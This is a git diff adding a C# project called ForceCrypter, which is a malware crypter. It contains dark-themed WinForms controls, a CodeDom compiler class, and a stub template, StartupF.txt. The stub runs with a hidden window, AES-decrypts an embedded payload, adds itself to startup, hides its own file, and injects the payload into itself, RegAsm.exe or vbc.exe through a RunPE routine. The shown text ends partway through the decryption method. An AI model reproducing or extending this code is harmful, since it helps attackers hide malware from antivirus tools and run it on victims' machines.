(BSA.Contains(e.Location)) + { + I1 = _Value + _SmallChange; + } + else + { + if (Thumb.Contains(e.Location)) + { + ThumbDown = true; + base.OnMouseDown(e); + return; + } + else + { + if (e.Y < Thumb.Y) + { + I1 = _Value - _LargeChange; + } + else + { + I1 = _Value + _LargeChange; + } + } + } + + Value = Math.Min(Math.Max(I1, _Minimum), _Maximum); + InvalidatePosition(); + } + + base.OnMouseDown(e); + } + + protected override void OnMouseMove(MouseEventArgs e) + { + if (ThumbDown && ShowThumb) + { + int ThumbPosition = e.Y - TSA.Height - (ThumbSize / 2); + int ThumbBounds = Shaft.Height - ThumbSize; + + I1 = Convert.ToInt32(((double)ThumbPosition / (double)ThumbBounds) * (_Maximum - _Minimum)) + _Minimum; + + Value = Math.Min(Math.Max(I1, _Minimum), _Maximum); + InvalidatePosition(); + } + + base.OnMouseMove(e); + } + + protected override void OnMouseUp(MouseEventArgs e) + { + ThumbDown = false; + base.OnMouseUp(e); + } + + private double GetProgress() + { + return (double)(_Value - _Minimum) / (double)(_Maximum - _Minimum); + } + +} + +[DefaultEvent("Scroll")] +class NSHScrollBar : Control +{ + + public event ScrollEventHandler Scroll; + public delegate void ScrollEventHandler(object sender); + + private int _Minimum; + public int Minimum + { + get { return _Minimum; } + set + { + if (value < 0) + { + throw new Exception("Property value is not valid."); + } + + _Minimum = value; + if (value > _Value) + _Value = value; + if (value > _Maximum) + _Maximum = value; + + InvalidateLayout(); + } + } + + private int _Maximum = 100; + public int Maximum + { + get { return _Maximum; } + set + { + if (value < 0) + { + throw new Exception("Property value is not valid."); + } + + _Maximum = value; + if (value < _Value) + _Value = value; + if (value < _Minimum) + _Minimum = value; + + InvalidateLayout(); + } + } + + private int _Value; + public int Value + { + get + { + if (!ShowThumb) + return _Minimum; + return _Value; + } + set + { + if (value == _Value) + return; + + if (value > _Maximum || value < _Minimum) + { + throw new Exception("Property value is not valid."); + } + + _Value = value; + InvalidatePosition(); + + if (Scroll != null) + { + Scroll(this); + } + } + } + + private int _SmallChange = 1; + public int SmallChange + { + get { return _SmallChange; } + set + { + if (value < 1) + { + throw new Exception("Property value is not valid."); + } + + _SmallChange = value; + } + } + + private int _LargeChange = 10; + public int LargeChange + { + get { return _LargeChange; } + set + { + if (value < 1) + { + throw new Exception("Property value is not valid."); + } + + _LargeChange = value; + } + } + + private int ButtonSize = 16; + // 14 minimum + private int ThumbSize = 24; + + private Rectangle LSA; + private Rectangle RSA; + private Rectangle Shaft; + + private Rectangle Thumb; + private bool ShowThumb; + + private bool ThumbDown; + public NSHScrollBar() + { + SetStyle((ControlStyles)139286, true); + SetStyle(ControlStyles.Selectable, false); + + Height = 18; + + B1 = new SolidBrush(Color.FromArgb(55, 55, 55)); + B2 = new SolidBrush(Color.FromArgb(35, 35, 35)); + + P1 = new Pen(Color.FromArgb(35, 35, 35)); + P2 = new Pen(Color.FromArgb(65, 65, 65)); + P3 = new Pen(Color.FromArgb(55, 55, 55)); + P4 = new Pen(Color.FromArgb(40, 40, 40)); + } + + private GraphicsPath GP1; + private GraphicsPath GP2; + private GraphicsPath GP3; + + private GraphicsPath GP4; + private Pen P1; + private Pen P2; + private Pen P3; + private Pen P4; + private SolidBrush B1; + + private SolidBrush B2; + + int I1; + private Graphics G; + protected override void OnPaint(System.Windows.Forms.PaintEventArgs e) + { + G = e.Graphics; + G.Clear(BackColor); + + GP1 = DrawArrow(6, 4, false); + GP2 = DrawArrow(7, 5, false); + + G.FillPath(B1, GP2); + G.FillPath(B2, GP1); + + GP3 = DrawArrow(Width - 11, 4, true); + GP4 = DrawArrow(Width - 10, 5, true); + + G.FillPath(B1, GP4); + G.FillPath(B2, GP3); + + if (ShowThumb) + { + G.FillRectangle(B1, Thumb); + G.DrawRectangle(P1, Thumb); + G.DrawRectangle(P2, Thumb.X + 1, Thumb.Y + 1, Thumb.Width - 2, Thumb.Height - 2); + + int X = 0; + int LX = Thumb.X + (Thumb.Width / 2) - 3; + + for (int I = 0; I <= 2; I++) + { + X = LX + (I * 3); + + G.DrawLine(P1, X, Thumb.Y + 5, X, Thumb.Bottom - 5); + G.DrawLine(P2, X + 1, Thumb.Y + 5, X + 1, Thumb.Bottom - 5); + } + } + + G.DrawRectangle(P3, 0, 0, Width - 1, Height - 1); + G.DrawRectangle(P4, 1, 1, Width - 3, Height - 3); + } + + private GraphicsPath DrawArrow(int x, int y, bool flip) + { + GraphicsPath GP = new GraphicsPath(); + + int W = 5; + int H = 9; + + if (flip) + { + GP.AddLine(x, y + 1, x, y + H + 1); + GP.AddLine(x, y + H, x + W - 1, y + W); + } + else + { + GP.AddLine(x + W, y, x + W, y + H); + GP.AddLine(x + W, y + H, x + 1, y + W); + } + + GP.CloseFigure(); + return GP; + } + + protected override void OnSizeChanged(EventArgs e) + { + InvalidateLayout(); + } + + private void InvalidateLayout() + { + LSA = new Rectangle(0, 0, ButtonSize, Height); + RSA = new Rectangle(Width - ButtonSize, 0, ButtonSize, Height); + Shaft = new Rectangle(LSA.Right + 1, 0, Width - (ButtonSize * 2) - 1, Height); + + ShowThumb = ((_Maximum - _Minimum) > Shaft.Width); + + if (ShowThumb) + { + //ThumbSize = Math.Max(0, 14) 'TODO: Implement this. + Thumb = new Rectangle(0, 1, ThumbSize, Height - 3); + } + + if (Scroll != null) + { + Scroll(this); + } + InvalidatePosition(); + } + + private void InvalidatePosition() + { + Thumb.X = Convert.ToInt32(GetProgress() * (Shaft.Width - ThumbSize)) + LSA.Width; + Invalidate(); + } + + protected override void OnMouseDown(MouseEventArgs e) + { + if (e.Button == System.Windows.Forms.MouseButtons.Left && ShowThumb) + { + if (LSA.Contains(e.Location)) + { + I1 = _Value - _SmallChange; + } + else if (RSA.Contains(e.Location)) + { + I1 = _Value + _SmallChange; + } + else + { + if (Thumb.Contains(e.Location)) + { + ThumbDown = true; + base.OnMouseDown(e); + return; + } + else + { + if (e.X < Thumb.X) + { + I1 = _Value - _LargeChange; + } + else + { + I1 = _Value + _LargeChange; + } + } + } + + Value = Math.Min(Math.Max(I1, _Minimum), _Maximum); + InvalidatePosition(); + } + + base.OnMouseDown(e); + } + + protected override void OnMouseMove(MouseEventArgs e) + { + if (ThumbDown && ShowThumb) + { + int ThumbPosition = e.X - LSA.Width - (ThumbSize / 2); + int ThumbBounds = Shaft.Width - ThumbSize; + + I1 = Convert.ToInt32(((double)ThumbPosition / (double)ThumbBounds) * (_Maximum - _Minimum)) + _Minimum; + + Value = Math.Min(Math.Max(I1, _Minimum), _Maximum); + InvalidatePosition(); + } + + base.OnMouseMove(e); + } + + protected override void OnMouseUp(MouseEventArgs e) + { + ThumbDown = false; + base.OnMouseUp(e); + } + + private double GetProgress() + { + return (double)(_Value - _Minimum) / (double)(_Maximum - _Minimum); + } + +} + +class NSContextMenu : ContextMenuStrip +{ + + public NSContextMenu() + { + Renderer = new ToolStripProfessionalRenderer(new NSColorTable()); + ForeColor = Color.Cyan; + } + + protected override void OnPaint(PaintEventArgs e) + { + e.Graphics.TextRenderingHint = TextRenderingHint.ClearTypeGridFit; + base.OnPaint(e); + } + +} + +class NSColorTable : ProfessionalColorTable +{ + + + private Color BackColor = Color.FromArgb(55, 55, 55); + public override Color ButtonSelectedBorder + { + get { return BackColor; } + } + + public override Color CheckBackground + { + get { return BackColor; } + } + + public override Color CheckPressedBackground + { + get { return BackColor; } + } + + public override Color CheckSelectedBackground + { + get { return BackColor; } + } + + public override Color ImageMarginGradientBegin + { + get { return BackColor; } + } + + public override Color ImageMarginGradientEnd + { + get { return BackColor; } + } + + public override Color ImageMarginGradientMiddle + { + get { return BackColor; } + } + + public override Color MenuBorder + { + get { return Color.FromArgb(25, 25, 25); } + } + + public override Color MenuItemBorder + { + get { return BackColor; } + } + + public override Color MenuItemSelected + { + get { return Color.FromArgb(65, 65, 65); } + } + + public override Color SeparatorDark + { + get { return Color.FromArgb(35, 35, 35); } + } + + public override Color ToolStripDropDownBackground + { + get { return BackColor; } + } + +} + +//If you have made it this far it's not too late to turn back, you must not continue on! If you are trying to fullfill some +//sick act of masochism by studying the source of the ListView then, may god have mercy on your soul. +class NSListView : Control +{ + + public class NSListViewItem + { + public string Text { get; set; } + [DesignerSerializationVisibility(DesignerSerializationVisibility.Content)] + public List SubItems { get; set; } + + + protected Guid UniqueId; + public NSListViewItem() + { + UniqueId = Guid.NewGuid(); + } + + public override string ToString() + { + return Text; + } + + public override bool Equals(object obj) + { + if (obj is NSListViewItem) + { + return (((NSListViewItem)obj).UniqueId == UniqueId); + } + + return false; + } + + public override int GetHashCode() + { + return base.GetHashCode(); + } + + } + + public class NSListViewSubItem + { + public string Text { get; set; } + + public override string ToString() + { + return Text; + } + } + + public class NSListViewColumnHeader + { + public string Text { get; set; } + public int Width { get; set; } + + public override string ToString() + { + return Text; + } + } + + private List _Items = new List(); + [DesignerSerializationVisibility(DesignerSerializationVisibility.Content)] + public NSListViewItem[] Items + { + get { return _Items.ToArray(); } + set + { + _Items = new List(value); + InvalidateScroll(); + } + } + + private List _SelectedItems = new List(); + public NSListViewItem[] SelectedItems + { + get { return _SelectedItems.ToArray(); } + } + + private List _Columns = new List(); + [DesignerSerializationVisibility(DesignerSerializationVisibility.Content)] + public NSListViewColumnHeader[] Columns + { + get { return _Columns.ToArray(); } + set + { + _Columns = new List(value); + InvalidateColumns(); + } + } + + private bool _MultiSelect = true; + public bool MultiSelect + { + get { return _MultiSelect; } + set + { + _MultiSelect = value; + + if (_SelectedItems.Count > 1) + { + _SelectedItems.RemoveRange(1, _SelectedItems.Count - 1); + } + + Invalidate(); + } + } + + private int ItemHeight = 24; + public override Font Font + { + get { return base.Font; } + set + { + ItemHeight = Convert.ToInt32(Graphics.FromHwnd(Handle).MeasureString("@", Font).Height) + 6; + + if (VS != null) + { + VS.SmallChange = ItemHeight; + VS.LargeChange = ItemHeight; + } + + base.Font = value; + InvalidateLayout(); + } + } + + #region " Item Helper Methods " + + //Ok, you've seen everything of importance at this point; I am begging you to spare yourself. You must not read any further! + + public void AddItem(string text, params string[] subItems) + { + List Items = new List(); + foreach (string I in subItems) + { + NSListViewSubItem SubItem = new NSListViewSubItem(); + SubItem.Text = I; + Items.Add(SubItem); + } + + NSListViewItem Item = new NSListViewItem(); + Item.Text = text; + Item.SubItems = Items; + + _Items.Add(Item); + InvalidateScroll(); + } + + public void RemoveItemAt(int index) + { + _Items.RemoveAt(index); + InvalidateScroll(); + } + + public void RemoveItem(NSListViewItem item) + { + _Items.Remove(item); + InvalidateScroll(); + } + + public void RemoveItems(NSListViewItem[] items) + { + foreach (NSListViewItem I in items) + { + _Items.Remove(I); + } + + InvalidateScroll(); + } + + #endregion + + + private NSVScrollBar VS; + public NSListView() + { + SetStyle((ControlStyles)139286, true); + SetStyle(ControlStyles.Selectable, true); + + P1 = new Pen(Color.FromArgb(55, 55, 55)); + P2 = new Pen(Color.FromArgb(35, 35, 35)); + P3 = new Pen(Color.FromArgb(65, 65, 65)); + + B1 = new SolidBrush(Color.FromArgb(62, 62, 62)); + B2 = new SolidBrush(Color.FromArgb(65, 65, 65)); + B3 = new SolidBrush(Color.FromArgb(47, 47, 47)); + B4 = new SolidBrush(Color.FromArgb(50, 50, 50)); + + VS = new NSVScrollBar(); + VS.SmallChange = ItemHeight; + VS.LargeChange = ItemHeight; + + VS.Scroll += HandleScroll; + VS.MouseDown += VS_MouseDown; + Controls.Add(VS); + + InvalidateLayout(); + } + + protected override void OnSizeChanged(EventArgs e) + { + InvalidateLayout(); + base.OnSizeChanged(e); + } + + private void HandleScroll(object sender) + { + Invalidate(); + } + + private void InvalidateScroll() + { + VS.Maximum = (_Items.Count * ItemHeight); + Invalidate(); + } + + private void InvalidateLayout() + { + VS.Location = new Point(Width - VS.Width - 1, 1); + VS.Size = new Size(18, Height - 2); + + Invalidate(); + } + + private int[] ColumnOffsets; + private void InvalidateColumns() + { + int Width = 3; + ColumnOffsets = new int[_Columns.Count]; + + for (int I = 0; I <= _Columns.Count - 1; I++) + { + ColumnOffsets[I] = Width; + Width += Columns[I].Width; + } + + Invalidate(); + } + + private void VS_MouseDown(object sender, MouseEventArgs e) + { + Focus(); + } + + protected override void OnMouseDown(MouseEventArgs e) + { + Focus(); + + if (e.Button == System.Windows.Forms.MouseButtons.Left) + { + int Offset = Convert.ToInt32(VS.Percent * (VS.Maximum - (Height - (ItemHeight * 2)))); + int Index = ((e.Y + Offset - ItemHeight) / ItemHeight); + + if (Index > _Items.Count - 1) + Index = -1; + + if (!(Index == -1)) + { + //TODO: Handle Shift key + + if (ModifierKeys == Keys.Control && _MultiSelect) + { + if (_SelectedItems.Contains(_Items[Index])) + { + _SelectedItems.Remove(_Items[Index]); + } + else + { + _SelectedItems.Add(_Items[Index]); + } + } + else + { + _SelectedItems.Clear(); + _SelectedItems.Add(_Items[Index]); + } + } + + Invalidate(); + } + + base.OnMouseDown(e); + } + + private Pen P1; + private Pen P2; + private Pen P3; + private SolidBrush B1; + private SolidBrush B2; + private SolidBrush B3; + private SolidBrush B4; + + private LinearGradientBrush GB1; + //I am so sorry you have to witness this. I tried warning you. ;.; + + private Graphics G; + protected override void OnPaint(PaintEventArgs e) + { + G = e.Graphics; + G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit; + + G.Clear(BackColor); + + int X = 0; + int Y = 0; + float H = 0; + + G.DrawRectangle(P1, 1, 1, Width - 3, Height - 3); + + Rectangle R1 = default(Rectangle); + NSListViewItem CI = null; + + int Offset = Convert.ToInt32(VS.Percent * (VS.Maximum - (Height - (ItemHeight * 2)))); + + int StartIndex = 0; + if (Offset == 0) + StartIndex = 0; + else + StartIndex = (Offset / ItemHeight); + + int EndIndex = Math.Min(StartIndex + (Height / ItemHeight), _Items.Count - 1); + + for (int I = StartIndex; I <= EndIndex; I++) + { + CI = Items[I]; + + R1 = new Rectangle(0, ItemHeight + (I * ItemHeight) + 1 - Offset, Width, ItemHeight - 1); + + H = G.MeasureString(CI.Text, Font).Height; + Y = R1.Y + Convert.ToInt32((ItemHeight / 2) - (H / 2)); + + if (_SelectedItems.Contains(CI)) + { + if (I % 2 == 0) + { + G.FillRectangle(B1, R1); + } + else + { + G.FillRectangle(B2, R1); + } + } + else + { + if (I % 2 == 0) + { + G.FillRectangle(B3, R1); + } + else + { + G.FillRectangle(B4, R1); + } + } + + G.DrawLine(P2, 0, R1.Bottom, Width, R1.Bottom); + + if (Columns.Length > 0) + { + R1.Width = Columns[0].Width; + G.SetClip(R1); + } + + //TODO: Ellipse text that overhangs seperators. + G.DrawString(CI.Text, Font, Brushes.Black, 10, Y + 1); + G.DrawString(CI.Text, Font, Brushes.Cyan, 9, Y); + + if (CI.SubItems != null) + { + for (int I2 = 0; I2 <= Math.Min(CI.SubItems.Count, _Columns.Count) - 1; I2++) + { + X = ColumnOffsets[I2 + 1] + 4; + + R1.X = X; + R1.Width = Columns[I2].Width; + G.SetClip(R1); + + G.DrawString(CI.SubItems[I2].Text, Font, Brushes.Black, X + 1, Y + 1); + G.DrawString(CI.SubItems[I2].Text, Font, Brushes.Cyan, X, Y); + } + } + + G.ResetClip(); + } + + R1 = new Rectangle(0, 0, Width, ItemHeight); + + GB1 = new LinearGradientBrush(R1, Color.FromArgb(60, 60, 60), Color.FromArgb(55, 55, 55), 90f); + G.FillRectangle(GB1, R1); + G.DrawRectangle(P3, 1, 1, Width - 22, ItemHeight - 2); + + int LH = Math.Min(VS.Maximum + ItemHeight - Offset, Height); + + NSListViewColumnHeader CC = null; + for (int I = 0; I <= _Columns.Count - 1; I++) + { + CC = Columns[I]; + + H = G.MeasureString(CC.Text, Font).Height; + Y = Convert.ToInt32((ItemHeight / 2) - (H / 2)); + X = ColumnOffsets[I]; + + G.DrawString(CC.Text, Font, Brushes.Black, X + 1, Y + 1); + G.DrawString(CC.Text, Font, Brushes.Cyan, X, Y); + + G.DrawLine(P2, X - 3, 0, X - 3, LH); + G.DrawLine(P3, X - 2, 0, X - 2, ItemHeight); + } + + G.DrawRectangle(P2, 0, 0, Width - 1, Height - 1); + + G.DrawLine(P2, 0, ItemHeight, Width, ItemHeight); + G.DrawLine(P2, VS.Location.X - 1, 0, VS.Location.X - 1, Height); + } + + protected override void OnMouseWheel(MouseEventArgs e) + { + int Move = -((e.Delta * SystemInformation.MouseWheelScrollLines / 120) * (ItemHeight / 2)); + + int Value = Math.Max(Math.Min(VS.Value + Move, VS.Maximum), VS.Minimum); + VS.Value = Value; + + base.OnMouseWheel(e); + } + +} \ No newline at end of file diff --git a/C# (ForceCrypter/ForceCrypterSmall/Program.cs b/C# (ForceCrypter/ForceCrypterSmall/Program.cs new file mode 100644 index 0000000..c4a20ac --- /dev/null +++ b/C# (ForceCrypter/ForceCrypterSmall/Program.cs @@ -0,0 +1,21 @@ +using System; +using System.Collections.Generic; +using System.Windows.Forms; + +namespace ForceCrypterSmall +{ + static class Program + { + + /// + /// The main entry point for the application. + /// + [STAThread] + static void Main() + { + Application.EnableVisualStyles(); + Application.SetCompatibleTextRenderingDefault(false); + Application.Run(new Form1()); + } + } +} diff --git a/C# (ForceCrypter/ForceCrypterSmall/Properties/AssemblyInfo.cs b/C# (ForceCrypter/ForceCrypterSmall/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..8269a6f --- /dev/null +++ b/C# (ForceCrypter/ForceCrypterSmall/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("ForceCrypterSmall")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("ForceCrypterSmall")] +[assembly: AssemblyCopyright("Copyright © 2016")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("14028e44-3b0c-491c-be44-2a271e1b7501")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/C# (ForceCrypter/ForceCrypterSmall/Properties/Resources.Designer.cs b/C# (ForceCrypter/ForceCrypterSmall/Properties/Resources.Designer.cs new file mode 100644 index 0000000..3234b75 --- /dev/null +++ b/C# (ForceCrypter/ForceCrypterSmall/Properties/Resources.Designer.cs @@ -0,0 +1,88 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace ForceCrypterSmall.Properties { + using System; + + + /// + /// A strongly-typed resource class, for looking up localized strings, etc. + /// + // This class was auto-generated by the StronglyTypedResourceBuilder + // class via a tool like ResGen or Visual Studio. + // To add or remove a member, edit your .ResX file then rerun ResGen + // with the /str option, or rebuild your VS project. + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + internal class Resources { + + private static global::System.Resources.ResourceManager resourceMan; + + private static global::System.Globalization.CultureInfo resourceCulture; + + [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] + internal Resources() { + } + + /// + /// Returns the cached ResourceManager instance used by this class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Resources.ResourceManager ResourceManager { + get { + if (object.ReferenceEquals(resourceMan, null)) { + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("ForceCrypterSmall.Properties.Resources", typeof(Resources).Assembly); + resourceMan = temp; + } + return resourceMan; + } + } + + /// + /// Overrides the current thread's CurrentUICulture property for all + /// resource lookups using this strongly typed resource class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Globalization.CultureInfo Culture { + get { + return resourceCulture; + } + set { + resourceCulture = value; + } + } + + /// + /// Looks up a localized string similar to using Microsoft.Win32; + ///using System; + ///using System.IO; + ///using System.Reflection; + ///using System.Resources; + ///using System.Threading; + ///using System.Windows.Forms; + ///using System.Runtime.InteropServices; + ///using System.Security.Cryptography; + ///using System.Diagnostics; + ///using System.ComponentModel; + ///using System.Text; + ///[assembly: AssemblyTitle("[title-replace]")] + ///[assembly: AssemblyDescription("[desc-replace]")] + ///[assembly: AssemblyCompany("[company-replace]")] + ///[assembly: AssemblyProduct("[product-replace]")] + /// [rest of string was truncated]";. + /// + internal static string boop { + get { + return ResourceManager.GetString("boop", resourceCulture); + } + } + } +} diff --git a/C# (ForceCrypter/ForceCrypterSmall/Properties/Resources.resx b/C# (ForceCrypter/ForceCrypterSmall/Properties/Resources.resx new file mode 100644 index 0000000..cc8a940 --- /dev/null +++ b/C# (ForceCrypter/ForceCrypterSmall/Properties/Resources.resx @@ -0,0 +1,125 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + ..\Resources\boop.txt;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;windows-1255 + + + \ No newline at end of file diff --git a/C# (ForceCrypter/ForceCrypterSmall/Properties/Settings.Designer.cs b/C# (ForceCrypter/ForceCrypterSmall/Properties/Settings.Designer.cs new file mode 100644 index 0000000..09c43e8 --- /dev/null +++ b/C# (ForceCrypter/ForceCrypterSmall/Properties/Settings.Designer.cs @@ -0,0 +1,26 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace ForceCrypterSmall.Properties { + + + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "14.0.0.0")] + internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { + + private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); + + public static Settings Default { + get { + return defaultInstance; + } + } + } +} diff --git a/C# (ForceCrypter/ForceCrypterSmall/Properties/Settings.settings b/C# (ForceCrypter/ForceCrypterSmall/Properties/Settings.settings new file mode 100644 index 0000000..abf36c5 --- /dev/null +++ b/C# (ForceCrypter/ForceCrypterSmall/Properties/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/C# (ForceCrypter/ForceCrypterSmall/Resources/Compiler.cs b/C# (ForceCrypter/ForceCrypterSmall/Resources/Compiler.cs new file mode 100644 index 0000000..fc4b1c5 --- /dev/null +++ b/C# (ForceCrypter/ForceCrypterSmall/Resources/Compiler.cs @@ -0,0 +1,89 @@ +using System.Collections.Generic; +using System.CodeDom.Compiler; +using Microsoft.CSharp; +using System.Windows.Forms; + +namespace ForceCrypterSmall.Resources +{ + class Compiler + { + public static bool CompileFromSource(string source, string Output, string Icon = null, string[] Resources = null) + { + // We declare the new compiler parameters variable + // that will contain all settings for the compilation. + CompilerParameters CParams = new CompilerParameters(); + + // We want an executable file on disk. + CParams.GenerateExecutable = true; + // This is where the compiled file will be saved into. + CParams.OutputAssembly = Output; + + // We need these compiler options, we will use code optimization, + // compile as a x86 process and our target is a windows form. + // The unsafe keyword is used because the stub contains pointers and + // unsafe blocks of code. + string options = "/optimize+ /platform:x86 /target:winexe /unsafe"; + // If the icon is not null (as we initialize it), add the corresponding option. + if (Icon != null) + options += " /win32icon:\"" + Icon + "\""; + + // Set the options. + CParams.CompilerOptions = options; + // We don't care about warnings, we don't need them to show as errors. + CParams.TreatWarningsAsErrors = false; + + // Add the references to the libraries we use so we can have access + // to their namespaces. + CParams.ReferencedAssemblies.Add("System.dll"); + CParams.ReferencedAssemblies.Add("System.Windows.Forms.dll"); + CParams.ReferencedAssemblies.Add("System.Drawing.dll"); + CParams.ReferencedAssemblies.Add("System.Data.dll"); + CParams.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll"); + + // Check if the user specified any resource files. + // If yes, add then to the stub's resources. + if (Resources != null && Resources.Length > 0) + { + // Loop through all resource files specified in the Resources[] array. + foreach (string res in Resources) + { + // Add each resource file to the compiled stub. + CParams.EmbeddedResources.Add(res); + } + } + + // Dictionary variable is used to tell the compiler that we want + // our file to be compiled for .NET v2 + Dictionary ProviderOptions = new Dictionary(); + ProviderOptions.Add("CompilerVersion", "v2.0"); + + // Now, we compile the code and get the result back in the "Results" variable + CompilerResults Results = new CSharpCodeProvider(ProviderOptions).CompileAssemblyFromSource(CParams, source); + + // Check if any errors occured while compiling. + if (Results.Errors.Count > 0) + { + // Errors occured, notify the user. + MessageBox.Show(string.Format("The compiler has encountered {0} errors", + Results.Errors.Count), "Errors while compiling", MessageBoxButtons.OK, + MessageBoxIcon.Error); + + // Now loop through all errors and show them to the user. + foreach (CompilerError Err in Results.Errors) + { + MessageBox.Show(string.Format("{0}\nLine: {1} - Column: {2}\nFile: {3}", Err.ErrorText, + Err.Line, Err.Column, Err.FileName), "Error", + MessageBoxButtons.OK, MessageBoxIcon.Error); + } + return false; + + } + else + { + // No error was found, return true. + return true; + } + + } + } +} diff --git a/C# (ForceCrypter/ForceCrypterSmall/Resources/StartupF.txt b/C# (ForceCrypter/ForceCrypterSmall/Resources/StartupF.txt new file mode 100644 index 0000000..8ef0931 --- /dev/null +++ b/C# (ForceCrypter/ForceCrypterSmall/Resources/StartupF.txt @@ -0,0 +1,343 @@ +using Microsoft.Win32; +using System; +using System.IO; +using System.Reflection; +using System.Resources; +using System.Threading; +using System.Windows.Forms; +using System.Runtime.InteropServices; +using System.Security.Cryptography; +using System.Diagnostics; +using System.ComponentModel; +using System.Text; +namespace ilovecookies +{ + + static class Program + { + [STAThread] + static void Main() + { + Application.EnableVisualStyles(); + Application.SetCompatibleTextRenderingDefault(false); + Application.Run(new FrmOne()); + } + + } + + + class Reader + { + //Reading the encrypted bytes from our resource file + public static byte[] ReadManaged() + { + ResourceManager manager = new ResourceManager("Encrypted", Assembly.GetEntryAssembly()); + byte[] bytes = (byte[])manager.GetObject("encfile"); + return bytes; + } + } + + public class FrmOne : Form + { + //Making the form hidden + private void InitializeComponent() + { + + SuspendLayout(); + ResumeLayout(false); + PerformLayout(); + ShowInTaskbar = false; + WindowState = FormWindowState.Minimized; + + } + //Self explantory + bool _startup = [startup-replace]; + string injectTo = "[inject-replace]"; + string injectionPath2 = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "RegAsm.exe"); + string injectionPath3 = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "vbc.exe"); + bool _persistence = [persistence-replace]; + //The process we want to use persistence on + Process[] pname = Process.GetProcessesByName("[sprocess-replace]"); + public FrmOne() + { + + InitializeComponent(); + //Basic delay + Thread.Sleep([delay-replace] * 100); + //If the user choosed persistence start a timer + if(_persistence) + { + System.Windows.Forms.Timer timer1 = new System.Windows.Forms.Timer(); + timer1.Interval = 500; + Thread.Sleep(500); + timer1.Start(); + } + //Giving a byte array for our encrypted bytes + byte[] fBytes = Reader.ReadManaged(); + //The encryption key + string encKey = "[key-replace]"; + //The encryption key in bytes + byte[] encKey2 = Encoding.UTF8.GetBytes(encKey); + //Makign a hash for the encryption key + encKey2 = SHA256.Create().ComputeHash(encKey2); + //The decrypted bytes + byte[] eBytes = AESDecrypt(fBytes,encKey2); + //Crypting process + string result = Encoding.UTF8.GetString(eBytes); + //The all decrypted bytes + byte[] eBytes2 = Convert.FromBase64String(result); + //If user choosed startup add to startup + if (_startup) + AddToStartup(); + //Make the file hidden + HideFile(); + Thread.Sleep(500); + + //Use the runpe to inject the decrypted bytes into a process of our injection method choice + if(injectTo == "[itself]") + RunPe1.Run(System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName,"",eBytes2); + if(injectTo =="[regasm]") + RunPe1.Run(injectionPath2, "", eBytes2); + if(injectTo == "[vbc]") + RunPe1.Run(injectionPath3, "", eBytes2); + //Stopping the program because runpe is already injected + Environment.Exit(0); + } + + //Decryption method + public static byte[] AESDecrypt(byte[] decrypted, byte[] key2) + { + byte[] decryptedBytes = null; + + byte[] saltBytes = new byte[] {1, 2, 3, 4, 5, 6, 7, 8}; + + using (MemoryStream ms = new MemoryStream()) + { + using (RijndaelManaged AES = new RijndaelManaged()) + { + AES.KeySize = 256; + AES.BlockSize = 128; + + Rfc2898DeriveBytes key = new Rfc2898DeriveBytes(key2, saltBytes, 1000); + AES.Key = key.GetBytes(AES.KeySize/8); + AES.IV = key.GetBytes(AES.BlockSize/8); + + AES.Mode = CipherMode.CBC; + + using (CryptoStream cs = new CryptoStream(ms, AES.CreateDecryptor(), CryptoStreamMode.Write)) + { + cs.Write(decrypted, 0, decrypted.Length); + cs.Close(); + 